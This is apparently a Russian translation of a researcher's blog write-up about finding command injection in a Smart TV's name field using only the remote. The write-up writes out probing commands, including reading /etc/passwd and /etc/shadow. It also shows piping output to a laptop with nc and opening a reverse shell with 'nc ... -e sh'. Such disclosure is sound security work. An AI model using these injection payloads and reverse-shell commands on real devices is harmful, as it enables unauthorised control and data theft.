Это был один из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового дня.
Автор: Sven Morgenroth
Это был один из обычных ленивых вечеров, когда я смотрел телевизор после длинного трудового дня. Несмотря на то что чувствовалась усталость, я продолжал размышлять об уязвимости, найденной в роутере, который мне одолжил приятель. Нахождение брешей в подобного рода устройствах всегда является забавным мероприятиям, поскольку вскрываются детали, доступные лишь разработчикам и, возможно, службе технической поддержки.
Поскольку на тот момент я был очень уставшим, то намеревался лишь поставить таймер автоматического выключения и прилечь. Однако во время установки таймера меня заинтересовал вопрос, есть ли скрытые функции в меню настроек телевизора, доступные только разработчикам и службе поддержки. После непродолжительных поисков в Гугле в моем мобильном телефоне я обнаружил, что в этой марке телевизоров предусмотрен код, открывающий скрытое меню.
После повторного открытия настроек я ввел код при помощи пульта управления, и в левом стороне экрана появилось еще одно меню. Практически все категории были недоступны. Я смог только активировать режим «Hotel Mode» и посмотреть версию телевизора.
В тот момент мне захотелось получше узнать свой телевизор. Среди настроек была категория «info», открыв которую я увидел другие номера и версии. Затем мое внимание привлекла возможность, позволяющая назначить имя телевизору.
Уязвимость в Smart TV
При работе в сфере информационной безопасности постоянно приходится тестировать полезные нагрузки в различных полях ввода. К примеру, это может быть параметр GET-запроса, используемого веб-интерфейсом роутера, панели управления нового принтера или, как в моем случае, телевизора. Мне показалось, что будет забавно, если у телевизора будет имя «sleep 5».
Рисунок 1: Параметр для назначения имени телевизору
После ввода полезной нагрузки через пульт управления и сохранения результатов, меню с настройками замерло на некоторое время. Когда телевизор вернулся к жизни я изменил значение параметра, чтобы была возможность добраться до других пунктов меню. В тот момент я еще не догадывался, что нашел нечто похожее на уязвимость, связанную с внедрением команд. На самом деле замирание телевизора на несколько секунд после изменения настроек не являлось чем-то странным. Однако задержка на столь долгое время вызвала у меня любопытство.
Время замирания было намного больше чем 5 секунд. Возможно, все дело было в одиночных кавычках, и телевизор, не ожидая подобных входных данных, выдавал ошибку с целью предотвращения загрузки этих символов. Я попытался повторить эксперимент и ввел `sleep 0`. На этот раз все загрузилось моментально.
Происходило нечто не очень понятное, и я решил измерить время ответа в зависимости от значения параметра функции sleep. Выяснилось, что время замирания меню телевизора всегда в три раза дольше, чем значение этого параметра:
Запуск команд в телевизоре
Я не мог поверить, что смог внедрить команду после первой же попытки. Замирание меню не было стопроцентным доказательством и в целом не столь полезно, если мы ведем речь об эксплуатации уязвимости. В моем распоряжении был 31 символ (минус две одинарные кавычки), полезная нагрузка должна быть не более 29 знаков.
Ниже показан список команд, которые я пытался запустить в моем телевизоре. Напротив каждой команды дается пояснение и результат запуска (успешно/неудачно).
Команда |
Описание |
Количество символов |
Успешный запуск |
`which nc && sleep 2` |
which – команда в Linux, возвращающая путь к приложению (если приложение существует) && sleep 2 – заморозка меню на 3*2 секунды, если после выполнение команды which найдена утилита nc (в телевизоре) |
19 |
Да |
`which ssh && sleep 2` |
Проверка, присутствует ли утилита ssh |
20 |
Нет |
`which wget && sleep 2` |
Оказалось, что присутствует утилита wget |
21 |
Да |
`cat /etc/passwd && sleep 2` |
Проверяем, доступен ли файл /etc/passwd на чтение. Оказалось, что да (было бы очень странно, если нет) |
26 |
Да |
`cat /etc/shadow && sleep 2` |
Если у нас есть права суперпользователя, файл /etc/shadow доступен на чтение. Проверяем, есть ли у нас права суперпользователя. Однако файл оказался недоступным для чтения. |
26 |
Нет |
`ls /etc/shadow && sleep 2` |
Получаем объяснение, почему файл /etc/shadow не доступен на чтение. Этого файла не существует. |
25 |
Нет |
Далее нужно было подсоединить телевизор к ноутбуку через сетевой кабель, но уже сейчас я был доволен тем, что у меня получалось запускать команды в телевизоре лишь при помощи пульта управления.
Получение доступа к шеллу в телевизоре
Мой телевизор крепится к стене, и подключить сетевой кабель оказалось не так просто, как может показаться на первый взгляд. Преодолев некоторые сложности, мне все же удалось подключить кабель к телевизору с одной стороны и к ноутбуку с другой. Далее при помощи утилиты ipconfig я выяснил IP-адрес ноутбука.
Рисунок 2: Сетевые параметры ноутбука
После выяснения IP-адреса ноутбука мне лишь нужно было организовать обратный шелл. Таким образом, не нужно было знать IP-адрес телевизора. Кроме того, обратный шелл удобен тем, что позволяет обходить любые правила фаервола, которые блокируют входящие соединения. Однако перед тем как начать думать о том, как получить шелл, используя 29 символов, я решил по подробнее изучить систему.
Использование Netcat в телевизоре
После того как выяснилось, что в телевизоре есть утилита nc, я решил перенаправить результаты работы определенных команды через nc на мой ноутбук. Первой командой, естественно, стала id, при помощи которой нужно было выяснить, есть ли у нас права суперпользователя в системе телевизора.
Рисунок 3: Результат выполнения команды id
Как видно из рисунка выше, права суперпользователя у нас есть. Сей факт не столь примечателен, но тем не менее. Далее мне захотелось узнать содержимое корневой директории / при помощи команды `ls -la /|nc 169.254.56.216 5`.
Рисунок 4: Содержимое корневой директории
Отлично. Однако у меня до сих пор не было полноценного шелла для выполнения команд. Все возможные варианты не проходили проверку на длину и были не слишком полезными. Однако поскольку версия nc, установленная в телевизоре, поддерживала флаг –e, мне удалось организовать обратный шелл при помощи команды `nc 169.254.213.210 5 -e sh`.
Рисунок 5: Обратный шелл для выполнения команд в телевизоре
Теперь, когда у меня был полноценный шелл, я захотел увидеть результаты своей работы на экране телевизора. Здесь существует несколько возможностей. Например, смена логотипа при загрузке или изменение иконок приложений. Поскольку у меня был Smart TV, уже было установлено несколько программ, например, Youtube и Skype.
Рисунок 6: Приложение, предустановленные в телевизоре
Я заметил, что большая часть файловой системы была доступна только для чтения, и мне не удалось поменять логотип. Однако там были часто меняющиеся картинки, например, рамки превью, которые можно наблюдать при переключении каналов телевизора. Эти превью содержат снимки программ, идущих в тот момент, когда мы переходим в канал. Совершенно очевидно, что данные картинки сохраняются в месте, доступным для чтения и записи файлов.
Иконки хранились в файлах .png. Для получение полного списка файлов с расширением .png я воспользовался командой find / -name *.png, однако среди результатов не оказалось файлов, имеющих отношения к картинкам превью. Я проделал тот же самый трюк с файлами .jpg и заметил имена наподобие channelImage123.jpg. После загрузки нужных файлов и замены файлов, в имени которых содержится строка channelImage, я получил следующий результат.
Рисунок 7: Экран телевизора с обновленными картинками
Ваш телевизор не настолько умен, как вы думаете
Устройства, подключенные к интернету, могут иметь уязвимости в самых неожиданных местах. Там, где вы ожидаете меньше всего. Когда я тестировал команду sleep, то даже не мог и представить, что мой трюк сработает. Первоначально я решил провести свой эксперимент от скуки. Кроме того, я понятия не имел, что мой телевизор работает по управлением ОС Linux, и был еще больше удивлен, что найденные бреши пригодны к эксплуатации.
Данную уязвимость нельзя эксплуатировать удаленно, хотя что-то подсказывает мне, что я был прав, когда решил не подключать свой телевизор к интернету и не использовал продвинутые функции слишком часто. Я бы не ощущал себя комфортно с мыслью о том, что кто-то может управлять моим телевизором.
Предполагаю, что существует более интересные методы и бреши, пригодные для эксплуатации. Однако, думаю, не стоит добавлять седых волос в том момент, когда телевизор замирает, и ты думаешь, вышло ли устройство из строя или нет. В конце концов, телевизор предназначен для расслабления, а не для повышения кровяного давления, за исключением тех случаев, когда вы смотрите спортивные мероприятия. Например, футбол.